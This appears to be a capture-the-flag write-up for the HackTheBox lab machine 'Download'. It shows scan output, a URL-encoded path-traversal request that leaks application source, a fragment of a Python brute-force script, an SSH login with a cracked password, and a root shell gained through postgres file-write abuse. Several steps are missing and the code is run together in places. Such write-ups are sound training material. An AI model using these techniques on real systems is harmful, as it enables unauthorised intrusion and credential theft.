# Nmap 7.94 scan initiated Sat Oct 14 04:42:15 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.10.11.226 Increasing send delay for 10.10.11.226 from 0 to 5 due to 1077 out of 2691 dropped probes since last increase. Increasing send delay for 10.10.11.226 from 5 to 10 due to 269 out of 672 dropped probes since last increase. Warning: 10.10.11.226 giving up on port because retransmission cap hit (6). Nmap scan report for 10.10.11.226 Host is up (0.029s latency). Not shown: 64427 closed tcp ports (reset), 1106 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh? |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://download.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Oct 14 04:45:55 2023 -- 1 IP address (1 host up) scanned in 220.84 seconds
Looks like a webserver box. We are being redirected to http://download.htb. Lets add this to our hostfile and continue our scanning.
Directories webserver
Using feroxbuster, we find the following directories and files on the webserver.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
200 GET 56l 166w 2066c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 77l 207w 2697c http://download.htb/auth/login 200 GET 72l 196w 2429c http://download.htb/files/upload 200 GET 43l 113w 1099c http://download.htb/static/js/copy.js 302 GET 1l 4w 33c http://download.htb/home => http://download.htb/auth/login 301 GET 10l 16w 179c http://download.htb/static => http://download.htb/static/ 200 GET 5886l 9822w 97582c http://download.htb/static/css/bootstrap-icons.css 200 GET 12l 2206w 196273c http://download.htb/static/css/bootstrap.min.css 200 GET 99l 344w 3409c http://download.htb/ 301 GET 10l 16w 187c http://download.htb/static/css => http://download.htb/static/css/ 301 GET 10l 16w 185c http://download.htb/static/js => http://download.htb/static/js/ 301 GET 10l 16w 191c http://download.htb/static/fonts => http://download.htb/static/fonts/ 302 GET 1l 4w 33c http://download.htb/Home => http://download.htb/auth/login 301 GET 10l 16w 179c http://download.htb/Static => http://download.htb/Static/ 301 GET 10l 16w 185c http://download.htb/Static/js => http://download.htb/Static/js/ 301 GET 10l 16w 187c http://download.htb/Static/css => http://download.htb/Static/css/ 301 GET 10l 16w 191c http://download.htb/Static/fonts => http://download.htb/Static/fonts/ 302 GET 1l 4w 33c http://download.htb/HOME => http://download.htb/auth/login
Enumerating the webserver and finding LFI
We can upload files and also login. If we upload a file, we upload it as anonymous. If we create a account, we can also choose to make the file private.
If we upload a file we can find it back in /home
We can also download the file:
1 2 3 4 5 6 7 8 9 10
GET /files/download/696f924d-5a07-48b0-8385-bafedbaf74b4 HTTP/1.1 Host: download.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://download.htb/files/view/696f924d-5a07-48b0-8385-bafedbaf74b4 Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiaW5jZW5kaXVtIn19; download_session.sig=y3_RswQPLI53MABpWFbvdzGMXM0 Upgrade-Insecure-Requests: 1
Using URL encoding, we can get LFI:
1
GET /files/download/..%2fapp.js
This leads to the app.js sourcecode. Which includes some interesting content.
Signing key for signature cookie
We can see in our request to the server we have two cookies:
session
signature
To verify our session, the server uses the signature. But we just found the key that is used to sign the signature cookie:
# Check if the request was successful (HTTP status code 200) if response.status_code == 200: pass else: print("GET request failed. Status code:", response.status_code) except requests.exceptions.RequestException as e: print("Error: ", e) return(len(response.content))
defbrute_pass():
print('Calculating...') password_hex = 'f' whileTrue: # List of all possible hex values hex_values = [hex(i)[2:] for i inrange(16)] for i in hex_values: size = send_request(password_hex + i) if size != 2166: # Found next character append it password_hex += i break if i == 'f'and size == 2166: print(f'Done! Password is {password_hex} ') exit()
brute_pass()
We get the following md5 hash which cracks with rockyou:
┌──(kali㉿kali)-[~/htb/download] └─$ ssh wesley@download.htb The authenticity of host 'download.htb (10.10.11.226)' can't be established. ED25519 key fingerprint is SHA256:I0UEhPwwqSoDLGgboDmJ5hAHx5IJs4Fj4g8KDbJtjEo. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'download.htb' (ED25519) to the list of known hosts. wesley@download.htb's password: dunkindonuts
User wesley is not a privileged user:
1 2 3 4 5 6
wesley@download:/$ id uid=1000(wesley) gid=1000(wesley) groups=1000(wesley) wesley@download:/$ sudo -l [sudo] password for wesley: Sorry, user wesley may not run sudo on download. wesley@download:/$
Using \du we can see that we are member of pg_write_server_files
1 2 3 4 5 6 7 8
download=> \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+------------------------- download | | {pg_write_server_files} postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
This means that we can write files as postgres on the system. So we can maybe get access to postgres trough this way.
With pspy64 I noticed how user root kept changing to postgres with the -l parameter:
This will execute our exploit. After a minute I got a root shell:
1 2 3 4 5 6 7
/home/kali/pwncat-env/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated 'class': algorithms.Blowfish, [11:26:38] Welcome to pwncat 🐈! __main__.py:164 [11:30:04] received connection from 10.10.11.226:54632 bind.py:84 [11:30:05] 10.10.11.226:54632: registered new host w/ db manager.py:957 (local) pwncat$ (remote) root@download:/root# cat /root/root.txt